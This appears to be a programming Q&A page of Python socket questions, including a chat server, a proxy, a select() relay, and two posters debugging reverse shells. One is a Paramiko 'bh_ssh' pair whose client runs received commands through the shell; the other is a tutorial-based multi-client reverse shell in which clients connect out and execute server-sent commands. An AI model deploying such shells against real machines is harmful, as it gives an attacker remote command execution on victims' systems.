Paramiko - SSH to remote host - python

I have a server:
import threading
import paramiko
import subprocess
import sys
import socket
host_key = paramiko.RSAKey(filename='test_rsa.key')
class Server(paramiko.ServerInterface):
def _init_(self):
self.event = threading.Event()
def check_channel_request(self, kind, chanid):
if kind == 'session':
return paramiko.OPEN_SUCCEEDED
return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
def check_auth_password(self, username, password):
if(username=='justin') and (password == 'lovesthepython'):
return paramiko.AUTH_SUCCESSFUL
return paramiko.AUTH_FAILED
server = sys.argv[1]
ssh_port = int(sys.argv[2])
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind((server, ssh_port))
sock.listen(100)
print '[+] Listening for connection ...'
client, addr = sock.accept()
except Exception, e:
print '[-] Listen failed: ' + str(e)
sys.exit(1)
print '[+] Got a connection!'
try:
bhSession = paramiko.Transport(client)
bhSession.add_server_key(host_key)
server = Server()
try:
bhSession.start_server(server=server)
except paramiko.SSHException, x:
print '[-] SSH Negotiation Failed'
chan = bhSession.accept(20)
print '[+] Authenticated!'
print chan.recv(1024)
chan.send('Welcome to bh_ssh')
while True:
try:
command= raw_input("Enter command: ").strip('\n')
if command != 'exit':
chan.send(command)
print chan.recv(1024) + '\n'
else:
chan.send('exit')
print 'exiting'
bhSession.close()
raise Exception ('exit')
except KeyboardInterrupt:
bhSession.close()
except Exception, e:
print '[-] Caught exception: ' + str(e)
try:
bhSession.close()
except:
pass
sys.exit(1)
My code to connect to this is:
import threading
import paramiko
import subprocess
def ssh_command(ip, port, user, passwd, command):
client = paramiko.SSHClient()
#client.load_host_keys('/home/justin/.ssh/known_hosts')
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(ip, port, username=user, password=passwd)
ssh_session = client.get_transport().open_session()
if ssh_session.active:
ssh_session.send(command)
print ssh_session.recv(1024)
while True:
command = ssh_session.recv(1024)
try:
cmd_output = subprocess.check_output(command, shell=True)
ssh_session.send(cmd_output)
except Exception,e:
ssh_session.send(str(e))
client.close()
return
ssh_command('IP_ADDRESS_HERE',PORT_HERE,'justin','lovesthepython','id')
When I try to use these on separate PCs and use public IP addresses it won't connect. The server I bind to 0.0.0.0 and then use the public IP address of the server's computer to the client code. I imagine I am doing something fairly obvious wrong. If anyone can help, it would be very much appreciated.

Related

(Python) Socket Chat returning usernames as IP and Port

I'm working on a TCP socket chat assignment for school. I'm having trouble getting the last part done, which is returning all usernames to the client when it asks for it. The client can write /users to get all connected users usernames, but instead gets the IP and PORT they are connected to, output example:
('127.0.0.1', 54612)
Server Code:
import socket, threading
clients = []
nicknames = []
BYTES = 1024
FORMAT = "utf-8"
def server():
IP = "127.0.0.1"
PORT = 9090
BIND = (IP, PORT)
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind(BIND)
sock.listen()
print("Welcome to Budget-Discord!")
while True:
client, addr = sock.accept()
print("Connected with {}".format(str(addr)))
client.send('NICKNAME'.encode(FORMAT))
nickname = client.recv(BYTES).decode()
nicknames.append(nickname)
clients.append(client)
print("Nickname is {}".format(nickname))
print(nicknames)
#broadcast("{} joined!".format(nickname).encode(FORMAT))
client.send("\t >>> Connected to server!".encode(FORMAT))
threading.Thread(target=user_conn, args=[client, addr]).start()
except Exception as e:
print(f"Error, socket: {e}")
def sendall(msg: str, conn: socket.socket): # Broadcast
for client_conn in clients:
if client_conn != conn:
try:
client_conn.send(msg.encode())
except Exception as e:
print(f"Error, sendall: {e}")
byeee(client_conn)
def user_conn(conn: socket.socket, nicknames):
while True:
try:
msg = conn.recv(BYTES).decode()
if "/users" in msg:
conn.sendall(bytearray(str(nicknames).encode()))
if msg:
print(msg)
allchat = f"{msg}"
sendall(allchat, conn)
# else:
# pass
except Exception as e:
print(f"Error, user connection: {e}")
byeee(conn)
break
def byeee(conn: socket.socket):
if conn in clients:
conn.close()
clients.remove(conn)
if __name__ == "__main__":
server()
Client Code:
import socket, threading
IP = "127.0.0.1"
PORT = 9090
BIND = (IP, PORT)
BYTES = 1024
FORMAT = "utf-8"
nickname = input("Choose your nickname: ")
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(BIND)
def receive():
while True:
try:
msg = client.recv(BYTES).decode()
if msg == 'NICKNAME':
client.send(nickname.encode())
# elif message == "/users"
else:
print(msg)
except Exception as e:
print(f"Error, client receive: {e}")
client.close()
break
def write():
while True:
msg = f"{nickname}: {input('')}"
client.send(msg.encode())
receive_t = threading.Thread(target=receive).start()
write_t = threading.Thread(target=write).start()
I have tried different things, got tuple errors for the most part so I converted the /users in the server module to bytearray...
In the function server, this line is sending addr as the second argument:
threading.Thread(target=user_conn, args=[client, addr]).start()
but the function user_conn has a second argument of nicknames:
def user_conn(conn: socket.socket, nicknames):
so send nicknames instead in server:
threading.Thread(target=user_conn, args=[client, nicknames]).start()

Server Loop Using Python Sockets and Threading module

I am making server-client communication in python using sockets and threading module. I connect client to server, send some data, receive some data, but the problem is, I can send only two messages. After those, the server is not reciving my packets. Can someone tell me what's wrong? Thanks in advance.
Server.py:
import socket
from threading import Thread
class Server:
def __init__(self):
self.host = '127.0.0.1'
self.port = 9999
self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.server.bind((self.host, self.port))
self.server.listen(5)
self.threads = []
self.listen_for_clients()
def listen_for_clients(self):
print('Listening...')
while True:
client, addr = self.server.accept()
print('Accepted Connection from: '+str(addr[0])+':'+str(addr[1]))
self.threads.append(Thread(target=self.handle_client, args=(client, addr)))
for thread in self.threads:
thread.start()
def handle_client(self, client_socket, address):
client_socket.send('Welcome to server'.encode())
size = 1024
while True:
message = client_socket.recv(size)
if message.decode() == 'q^':
print('Received request for exit from: '+str(address[0])+':'+str(address[1]))
break
else:
print('Received: '+message.decode()+' from: '+str(address[0])+':'+str(address[1]))
client_socket.send('Received request for exit. Deleted from server threads'.encode())
client_socket.close()
if __name__=="__main__":
main = Server()
Client.py
import socket
import sys, time
def main():
target_host = '127.0.0.1'
target_port = 9999
try:
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except socket.error:
print('Could not create a socket')
time.sleep(1)
sys.exit()
try:
client.connect((target_host, target_port))
except socket.error:
print('Could not connect to server')
time.sleep(1)
sys.exit()
while True:
data = input()
client.send(data.encode())
message = client.recv(4096)
print('[+] Received: '+ message.decode())
main()
You have to send exit message 'q^' to client too to close client.
Warning:
Using Unicode as encoding for string is not recommended in socket. A partial Unicode character may be received in server/client resulting in UnicodeDecodeError being raised.
Code for server using threads is:
server.py:
import socket
from threading import Thread
class Server:
def __init__(self, host, port):
self.host = host
self.port = port
self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.server.bind((self.host, self.port))
self.server.listen(5)
def listen_for_clients(self):
print('Listening...')
while True:
client, addr = self.server.accept()
print(
'Accepted Connection from: ' + str(addr[0]) + ':' + str(addr[1])
)
Thread(target=self.handle_client, args=(client, addr)).start()
def handle_client(self, client_socket, address):
size = 1024
while True:
try:
data = client_socket.recv(size)
if 'q^' in data.decode():
print('Received request for exit from: ' + str(
address[0]) + ':' + str(address[1]))
break
else:
# send getting after receiving from client
client_socket.sendall('Welcome to server'.encode())
print('Received: ' + data.decode() + ' from: ' + str(
address[0]) + ':' + str(address[1]))
except socket.error:
client_socket.close()
return False
client_socket.sendall(
'Received request for exit. Deleted from server threads'.encode()
)
# send quit message to client too
client_socket.sendall(
'q^'.encode()
)
client_socket.close()
if __name__ == "__main__":
host = '127.0.0.1'
port = 9999
main = Server(host, port)
# start listening for clients
main.listen_for_clients()
client.py:
import socket
import sys, time
def main():
target_host = '127.0.0.1'
target_port = 9999
try:
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except socket.error:
print('Could not create a socket')
time.sleep(1)
sys.exit()
try:
client.connect((target_host, target_port))
except socket.error:
print('Could not connect to server')
time.sleep(1)
sys.exit()
online = True
while online:
data = input()
client.sendall(data.encode())
while True:
message = client.recv(4096)
if 'q^' in message.decode():
client.close()
online = False
break
print('[+] Received: ' + message.decode())
break # stop receiving
# start client
main()

My python proxy server keeps giving me "The connection was reset"

I have been writing a transparent proxy server in python to log where the request is going. Most pages load e.g. google.co.uk, however, pages such as google.com get stuck loading and some pages such as a local IP get the "Connection reset" error in the browser.
Any help would be greatly appreciated.
#!/usr/bin/env python
import socket, optparse, thread
def proxy(url, port, connection, address, data):
try:
get = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
get.connect((url, port))
get.send(data)
while True:
reply = get.recv(BUFFER)
if len(reply) > 0:
connection.send(reply)
info = float(len(reply))
info = float(info / 1024)
info = "%.3s" %(str(info))
info = "%s KB" %(info)
print("[*] Request Complete: %s => %s <=" %(str(address[0]), str(info)))
else:
break
get.close()
connection.close()
except Exception as e:
get.close()
connection.close()
def handle(connection, address, data):
first = data.split("\n")[0]
url = first.split(" ")[1]
protocolPosition = url.find("://")
if protocolPosition == -1:
# No protocol so default
temp = url
else:
temp = url[(protocolPosition + 3):]
if ":" in temp:
# Port other than 80 has been specified
port = temp.split(":")[-1].strip("/")
webserver = temp.split(":")[:-1]
try:
# Incase there is ':' in the URL
webserver = "".join(webserver)
except:
pass
else:
port = 80
webserver = temp.strip("/")
print("[*] '%s' => '%s'" %(address[0], webserver))
proxy(webserver, port, connection, address, data)
receive = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
receive.bind(("0.0.0.0", PORT))
except socket.error as e:
print("Failed to bind to 0.0.0.0:%d" %(PORT))
print("Error: " + str(e))
raise SystemExit
receive.listen(MAXCONNECTIONS)
print("Listening on 0.0.0.0:%d" %(PORT))
while True:
try:
connection, address = receive.accept()
data = connection.recv(BUFFER)
thread.start_new_thread(handle, (connection, address, data,))
except KeyboardInterrupt:
break
print("\nReleasing socket")
receive.close()
Edit: After some digging around and error handling I narrowed the error down to
[Errno -2] Name or service not known

How to send stream trough socket when using select()?

After long hours of research and testing I finally ask here.
My script has to handle multiple client connections and in the same time has to get and send a stream from another socket.
Finally I've been able to make it work but only for one user. That user connects to the socket, the script connects to the other socket, then return the stream to the client.
The script works pretty well but has a some hard limitations :
- it send the stream to the client but,
- even if the socket is in non-blocking mode I think that calling a socket inside another one is the main reason why it reacts like it was in blocking mode (because one ot these is continuously sending datas ?)
By the way I think that the select() method could allow me to do what I want, but I don't clearly understand how.
Here is the server code taht works for one client, but is blocking
#!/usr/bin/env python
# coding: utf-8
from __future__ import print_function
import sys, time, base64, socket
server_ip = 'XX.XX.XX.XX'
def caster_connect(connected_client, address):
username = 'XXXXXXX'
password = 'XXXXXXXXX'
host = 'XX.XX.XX.XX'
port = 2102
pwd = base64.b64encode("{}:{}".format(username, password).encode('ascii'))
pwd = pwd.decode('ascii')
u_message = ''
stream_type = 'CMRp'
header = \
"GET /" + str(stream_type) + " HTTP/1.1\r\n" +\
"Host " + str(host) + "\r\n" +\
"Ntrip-Version: Ntrip/1.0\r\n" +\
"User-Agent: my_script.py/0.1\r\n" +\
"Accept: */*\r\n" +\
"Authorization: Basic {}\r\n\r\n".format(pwd) +\
"Connection: close\r\n"
print("Connecting to caster...\n")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,int(port)))
s.send(header.encode('ascii'))
print("Waiting answer from caster...\n")
while True:
try:
data = s.recv(2048)
connected_client.send(data)
print("Sending data from caster at %s" % time.time())
sys.stdout.flush()
# On any error, close sockets
except socket.error, e:
print("No data received from caster : %s" % e)
print("Close client connection at %s" % format(address))
s.close()
break
return
#----------------
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind((server_ip, 5680))
sock.settimeout(3)
try:
while True:
try:
sock.listen(5)
client, address = sock.accept()
print ("%s connected" % format(address) )
msg = client.recv(4096)
except socket.timeout, e:
err = e.args[0]
if err == 'timed out':
print("Timed out, retry later")
continue
else:
print(socket.error)
sock.close()
except socket.error:
print(socket.error)
sock.close()
else:
if len(msg) == 0:
print("Shutdown on client end")
sock.close()
else:
print(msg)
caster_response = caster_connect(client, address)
sys.stdout.flush()
print("Close")
client.close()
sock.close()`enter code here`
except KeyboardInterrupt:
print("W: Keyboard interrupt, closing socket")
finally:
sock.close()
And this is the code I found to handle select()
#!/usr/bin/env python
# coding: utf-8
import select, socket, sys, Queue
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setblocking(0)
server.bind(('XX.XX.XX.XX', 64000))
server.listen(5)
inputs = [server]
outputs = []
message_queues = {}
while inputs:
readable, writable, exceptional = select.select(
inputs, outputs, inputs)
for s in readable:
if s is server:
connection, client_address = s.accept()
print("New connection from %s" % client_address)
connection.setblocking(0)
inputs.append(connection)
message_queues[connection] = Queue.Queue()
else:
data = s.recv(1024)
print("Data received : %s" % data)
if data:
message_queues[s].put(data)
if s not in outputs:
outputs.append(s)
else:
if s in outputs:
outputs.remove(s)
inputs.remove(s)
s.close()
del message_queues[s]
for s in writable:
try:
next_msg = message_queues[s].get_nowait()
print("Next msg : %s" % next_msg)
except Queue.Empty:
outputs.remove(s)
else:
s.send(next_msg)
for s in exceptional:
inputs.remove(s)
if s in outputs:
outputs.remove(s)
s.close()
del message_queues[s]
In this code (found at this page) I didn't make changes as I don't know how to handle this.
Maybe by creating another server script that would only handle the stream part, so the main script would act as a server for clients, but as client for the stream part ?

Python -Multi client reverse shell with threads error

I am following thenewboston tutorial, I think I did pretty much the same like he did, line by line, but my reverse shell is not working, I am trying to run it locally. I am running MultiServer.py and then MultiClient.py but I get an error. I'll explain it in a second but first, here is my code:
MultiServer.py:
import socket
import time
from queue import Queue
import threading
# One thread to listen and create sockets, second thread to connect and send commands
NUMBER_OF_THREADS = 2
JOB_NUMBER = [1, 2]
queue = Queue()
all_connections = []
all_addresses = []
# Create socket (allows two computers to connect)
def socket_create():
try:
global host
global port
global s
host = '' # the server doesn't need to know the ip, only the client
port = 9992
s = socket.socket()
except socket.error as msg:
print('Socket creation error', str(msg))
# Bind socket to port and wait for connection from client
def socket_bind():
try:
global port
global s
print('Binding socket to port: ' + str(port))
s.bind((host, port))
s.listen(5)
except socket.error as msg:
print('Socket binding error', str(msg) + '\n' + 'Retrying...')
time.sleep(5)
socket_bind()
# Accept connections from multiple clients and save to list - Thread 1
def accept_connections():
for c in all_connections:
c.close()
del all_connections[:] # delete items from list
del all_addresses[:]
while 1:
try:
conn, address = s.accept()
conn.setblocking(1) # no timeout
all_connections.append(conn)
all_addresses.append(address)
print("\nConnection has been established: " + address[0] + ":" + address[1])
except:
print("Error accepting connections")
# Interactive prompt for sending commands remotely
def start_connection():
while 1:
cmd = input('> ')
if cmd == 'list':
list_connections()
elif 'select' in cmd:
conn = get_target(cmd)
if conn is not None:
send_target_commands(conn)
else:
print('Command not recognized')
# Displays all current connections
def list_connections():
results = ''
for i, conn in enumerate(all_connections): # enumerate - counter
try:
conn.send(str.encode(' ')) # check if the connection is valid by sending empty message
conn.recv(20480)
except:
del all_connections[i]
del all_addresses[i]
continue
results += 'Connection ' + str(i) + ' ' + str(all_addresses[i][0]) + ':' + str(all_addresses[i][1]) + '\n'
print('----- Clients -----' + '\n' + results)
# Selecting a target client
def get_target(cmd):
try:
target = cmd.replace('select ', '')
target = int(target)
conn = all_connections[target]
print('You are now connected to:', str(all_addresses[target][0]))
print(str(all_addresses[target][0]) + '> ', end='')
return conn
except:
print('Not a valid selection')
return None
# Connect with remote target client
def send_target_commands(conn):
while True:
try:
cmd = input()
if len(str.encode(cmd)) > 0:
conn.send(str.encode(cmd))
client_response = str(conn.recv(20480), 'utf-8')
print(client_response, end='')
if cmd == 'quit':
break
except:
print('Connection lost')
break
# Create the threads
def create_threads():
for _ in range(NUMBER_OF_THREADS):
t = threading.Thread(target=work)
t.daemon = True # the thread will die when main program exit
t.start()
# Each list item is a new job
def create_jobs():
for x in JOB_NUMBER:
queue.put(x)
queue.join() # the queue is like a to-do list, we added 1 and 2 to the queue
# Do the next job in the queue (one handles connections, the other sends commands)
def work():
while True:
x = queue.get() # will be equal to 1 and then will be 2
if x == 1:
socket_create()
socket_bind()
accept_connections()
if x == 2:
start_connection()
queue.task_done()
create_threads()
create_jobs()
MultiClient.py
import os
import socket
import subprocess
import time
# Create a socket
def socket_create():
try:
global host
global port
global s
host = '192.168.1.33'
port = 9992
s = socket.socket()
except socket.error as msg:
print('Socket creation error:', str(msg))
# Connect to a remote socket
def socket_connect():
try:
global host
global port
global s
s.connect((host, port))
except socket.error as msg:
print('Socket connection error:', str(msg))
time.sleep(5)
socket_connect()
# Receive commands from remote server and run on local machine
def receive_commands():
while True:
data = s.recv(20480)
if data[:2].decode('utf-8') == 'cd':
try:
os.chdir(data[3:].decode('utf-8'))
except:
pass
if data[:].deocde('utf-8') == 'quit':
s.close()
break
if len(data) > 0:
try:
cmd = subprocess.Popen(data[:].decode('utf-8'), shell=True, stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
stdin=subprocess.PIPE) # run command in terminal
output_bytes = cmd.stdout.read() + cmd.stderr.read()
output_str = str(output_bytes, 'utf-8')
s.send(str.encode(output_str + str(os.getcwd()) + '> '))
print(output_str)
except:
output_str = 'Command not recognized' + '\n'
s.send(str.encode(output_str + str(os.getcwd()) + '> '))
print(output_str)
s.close()
def main():
global s
try:
socket_create()
socket_connect()
receive_commands()
except:
print('Error in main')
time.sleep(5)
s.close()
main()
main()
So, in the tutorial we first created a simple reverse shell that can contain only one client, and it was working for me fine. if needed, here is the code:
Client.py:
import os
import socket
import subprocess
s = socket.socket()
host = '127.0.0.1'
port = 9997
s.connect((host, port))
while True:
data = s.recv(1024)
if data[:2].decode('utf-8') == 'cd':
os.chdir(data[3:].decode('utf-8'))
if len(data) > 0:
cmd = subprocess.Popen(data[:].decode('utf-8'), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
stdin=subprocess.PIPE) # run command in terminal
output_bytes = cmd.stdout.read() + cmd.stderr.read()
output_str = str(output_bytes, 'utf-8')
s.send(str.encode(output_str + str(os.getcwd()) + '> '))
print(output_str)
# close connection
s.close()
Server.py:
import socket
import sys
# Create socket (allows two computers to connect)
def socket_create():
try:
global host
global port
global s
host = '' # the server doesn't need to know the ip, only the client
port = 9997
s = socket.socket()
except socket.error as msg:
print('Socket creation error', str(msg))
# Bind socket to port and wait for connection from client
def socket_bind():
try:
global host
global port
global s
print('Binding socket to port: ' + str(port))
s.bind((host, port))
s.listen(5)
except socket.error as msg:
print('Socket binding error', str(msg) + '\n' + 'Retrying...')
socket_bind()
# Establish a connection with client (socket must be listening for them)
def socket_accept():
conn, address = s.accept()
print('Connection has been established | ' + 'IP ' + address[0] + ' | Port ' + str(address[1]))
send_commands(conn)
conn.close()
# Send commands
def send_commands(conn):
while True:
cmd = input('')
if cmd == 'quit':
conn.close()
s.close()
sys.exit()
if len(str.encode(cmd)) > 0: # system commands are bytes and not strings
conn.send(str.encode(cmd))
client_response = str(conn.recv(1024), 'utf-8')
print(client_response, end='')
def main():
socket_create()
socket_bind()
socket_accept()
main()
As I understood it can be a problem with the firewall so the code may be fine, but a check from an other computer will be great for me. Also, I haven't specified the error I receive, when running MultiServer.py and the MultiClient.py I get the message:
C:\Python34\python.exe C:/Users/dodob/PycharmProjects/ReverseShell/MultiClient/MultiServer.py
> Binding socket to port: 9992
Error accepting connections
I am currently trying this on windows, I also have Linux and I haven't tried to run this there. I tried to disable 'windows firewall with advanced security' but no help.

Categories